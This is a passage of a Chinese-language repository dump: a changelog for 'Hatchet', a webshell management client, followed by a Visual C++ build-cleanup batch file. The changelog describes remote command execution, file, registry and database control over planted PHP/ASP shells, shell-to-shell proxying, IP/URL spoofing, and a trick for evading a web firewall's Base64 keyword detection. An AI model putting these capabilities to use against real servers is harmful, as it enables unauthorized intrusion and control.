修正文件管理,后续增加的映射磁盘网络磁盘等,显示会有问题。 251 | 252 | 2014.03.17 253 | * 某种原因,更改软件名称: Hatchet 254 | + 增加POST的z0前部分自定义,突破安全宝的Base64关键词。 255 | * 修正CMD框,等宽字体,对齐的问题。 256 | 257 | 2014.03.18 258 | * 修正CMD返回路径的截取问题 259 | * 修正代码执行,等宽字体,对齐的问题。 260 | * 修正获取文件内容,等宽字体,对齐的问题。 261 | + 增加部分多线程,不卡界面。 262 | + 增加代码执行导出导入。 263 | 264 | 2014.04.01 265 | * 界面大改动(非常感谢p1n9y_fly) 266 | + 增加大部分多线程 267 | + 增加部分快捷键 268 | 269 | 2014.04.02 270 | * 再次修正随机IP都一样 271 | - 取消自动添加Cookie,导致INI里填的Cookie不能被添加上 INTERNET_FLAG_NO_COOKIES 272 | + 增加快捷键 Ctrl+V 273 | + 增加系统托盘 274 | * 文件内容保存线程变量未初始化(感谢Xi总) 275 | * 修正重命名、新建目录,如果文件[夹]存在,覆盖。(感谢Xi总) 276 | 277 | 2014.04.04 278 | + 增加上传文件后自动刷新列表 279 | * 修正PHP文件[夹]可读可写标注。换成is_readable is_writable(感谢敌敌喂) 280 | * 修正树形框,判断给定树项是否包含子项,2014.04.04 BUG,有子项,不一定已经存在(感谢敌敌喂) 281 | * 修正文件管理C:\/\/\/\/这种路径 282 | * 修正CMD Ctrl+V 283 | + 增加Shell列表快捷键 Insert(添加) Delete(删除) Enter(编辑) 284 | + 增加文件管理列表快捷键,回车进入文件夹或者文件内容编辑。 285 | 286 | 2014.04.07 287 | * 增强多文件处理 288 | * 修正文件管理树形框小问题 289 | * 更换文件管理EDIT->COMBO 290 | + 增加注册表管理 291 | 292 | 2014.04.14 293 | + 增加注册表本地缓存 294 | + 稍微完善一下状态栏 295 | * 修正asp数据库截取的BUG(感谢Ciph2r) 296 | * 修正编辑的对话框显示位置问题 297 | + 增加COMBO记录 298 | 299 | 2014.05.07 300 | + 增加显示版本 301 | * 修正CMD cls保留系统信息 302 | + 增加CMD Please wait... 303 | + 增加数据库右键查询20条 304 | + 增加数据库ESC取消编辑 305 | * 修正文件图标szIcoTemp变量忘记初始化 306 | + 文件管理,回车或双击的文件如果是以下弹出下载 307 | .jpg.gif.png.bmp.jpeg.ico 308 | .zip.rar.tgz.7z.tar.gz.iso.cab.bz2.jar.dmg 309 | .exe.msi.dll.sys.avi.mpeg.mpg.vob.rmvb.wmv.mp3.mp4.3gp.ogg.voc 310 | .swf.pdf.flv.fla.psd.doc.docx.xls.xlsx.ppt.pptx.mdb.rtf 311 | 312 | 2014.05.09 313 | + 主页增加复制URL地址(Ctrl+C) 314 | * 文件夹双击进入,树形框跟进(感谢Lee Swagger) 315 | * 文件夹双击进入,树形框选择项并没有改变。SelectItem执行失败,换OnNMClickTree判断 316 | + 增加ASPX POST数据INI自定义 317 | * MYSQL如有不正常的表名,中文、空格等,请用`包含表名(感谢Hancock) 318 | 319 | 2014.05.21 320 | + 增加全部EDIT,CTRL+A 321 | * 修正MAIN IDC_EDIT_FIND,大小改变,被覆盖隐藏 322 | + 增加Wget线程 323 | * 修正数据库显示结果,编码问题导致的死循环 324 | * 修正asp特殊环境缓存的问题。Response.Clear 325 | * 修正asp数据库SI变量初始化 326 | + 优化数据库返回的列表宽度 327 | 328 | 2014.06.06 329 | + 增加浏览器功能,以便支持NTLM验证(感谢R) 330 | * 修正CMD如果所在光标位置可更改粘贴(感谢R) 331 | + 增加CMD,ESC按键,清除当前输入的命令 332 | + 增加浏览器状态和加载完成后的地址显示 333 | 334 | 2014.07.02 335 | * 修正如果标签已关闭,线程还在运行。导致的程序崩溃。if (pDlg->m_hWnd == NULL) 336 | + 增加PDO管理mysql和mssql数据库 337 | 338 | 339 | 2014.07.07 340 | * 修正PHP执行cmd变量未初始化$ret=1(函数禁用导致的出错) 341 | * 修正CMD显示的小问题 342 | * 切换标签,当前Dialog获得焦点 343 | + 支持PHP脚本的数据库管理,远程备份 344 | 345 | 2014.08.26 346 | * 文件上传分块缩小,51200 347 | + 添加一些状态 348 | * Data select show 349 | * CMD命令排序 350 | + Data Ctrl+C和F2快捷键 351 | * 修正ComboBox下拉高度 352 | + 添加Shell判断是否存在 353 | 354 | 2014.09.22 355 | * 数据库名,可手动填入。防止数据库列不出来 356 | + 下载目录,新开线程 357 | + 增加PHP执行命令的函数 358 | * 修正文件管理的属性排列 359 | * 修正文件管理的地址显示 360 | + 增加文件管理返回上一层按钮,快捷键:退格键 361 | 362 | 2014.09.25 363 | * 修正PHP执行命令popen的问题 364 | * 修正文件管理焦点在列表框 365 | + 只允许运行一个程序 366 | 367 | 2014.11.13 368 | + 增加Join:使用某个Shell代理管理Shell(仅支持PHP语言的CMD功能) 369 | * 修正效率bIsExistItem 370 | * 修正CMD换行的问题 371 | * 修正文件管理访问共享路径的问题(感谢B1uH4ck) 372 | 373 | 374 | + 增加地址URL随机伪造 375 | + 增加Join:使用某个Shell代理管理Shell(支持PHP语言的自定义代码功能) 376 | * 修正 \\ => \ 377 | * 修正带有参数的URL,随机URL失败 378 | * 修正效率bIsExistItem的BUG 379 | + 增加地址URL随机伪造排除的HOST 380 | * 修正FindString => FindStringExact 381 | * 修正ComboBox下拉高度 382 | -------------------------------------------------------------------------------- /code/vc.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo ---------------------------------------------------- 3 | echo Press any key to delete all files with ending: 4 | echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr 5 | echo Visual c++/.Net junk 6 | echo ---------------------------------------------------- 7 | 8 | del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.manifest *.dep --------------------------------------------------------------------------------